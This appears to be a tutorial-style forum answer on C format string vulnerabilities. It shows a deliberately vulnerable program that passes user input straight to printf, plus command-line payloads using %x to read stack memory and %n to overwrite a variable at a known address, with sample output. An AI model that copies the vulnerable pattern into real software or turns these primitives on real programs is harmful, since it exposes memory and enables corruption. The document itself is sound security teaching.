You can exploit format string vulnerabilities in many ways, directly or indirectly. As an example, use the example below (provided that there are no relevant OS protections, which is very rare):
int main(int argc, char **argv) { char text[1024]; static int some_value = -72; strcpy(text, argv[1]); printf("This is how you print correctly:\n"); printf("%s", text); printf("This is how not to print:\n"); printf(text); printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value); return(0); }
The basis of this vulnerability is the behavior of functions with variable arguments. A function that implements the processing of a variable number of parameters should, in fact, read them from the stack. If we specify a format string that makes printf() wait for two integers on the stack, and we provide only one parameter, the second should be something else on the stack. By extension, and if we have control over the format string, we can have two basic elementary primitives:
Read from arbitrary memory addresses
[EDIT] IMPORTANT: I make some assumptions about the layout of the stack frame here. You can ignore them if you understand the basic premise of the vulnerability, and in any case, they differ between OS, platform, program, and configuration.
You can use the %s format parameter to read data. You can read the data of the original format string in printf(text) , so you can use it to read something from the stack:
./vulnerable AAAA%08x.%08x.%08x.%08x This is how you print correctly: AAAA%08x.%08x.%08x.%08x This is how not to print: AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141 some_value @ 0x08049794 = -72 [0xffffffb8]
Writing to arbitrary memory addresses
You can use the %n format specifier to write to an arbitrary address (almost). Again, suppose our vulnerable program is higher, and try changing the value of some_value , which is located at 0x08049794 , as shown above:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n This is how you print correctly: ??%08x.%08x.%08x.%n This is how not to print: ??XXXXXXXX.XXXXXXXX.XXXXXXXX. some_value @ 0x08049794 = 31 [0x0000001f]
We have rewritten some_value with the number of bytes written before the %n specifier ( man printf ). We can use the format string or field width to control this value:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n This is how you print correctly: ??%x%x%x%n This is how not to print: ??XXXXXXXXXXXXXXXXXXXXXXXX some_value @ 0x08049794 = 21 [0x00000015]
There are many opportunities and tricks to try (direct access to parameters, a large field width that allows wrapping, creating your own primitives), and this just applies to the tip of the iceberg. I would advise reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they can be a bit advanced) or a book that touches on the topic.
Disclaimer: examples are taken [though not verbatim) from the book Hacking: The Art of Exploitation (2nd ed.) By John Erickson.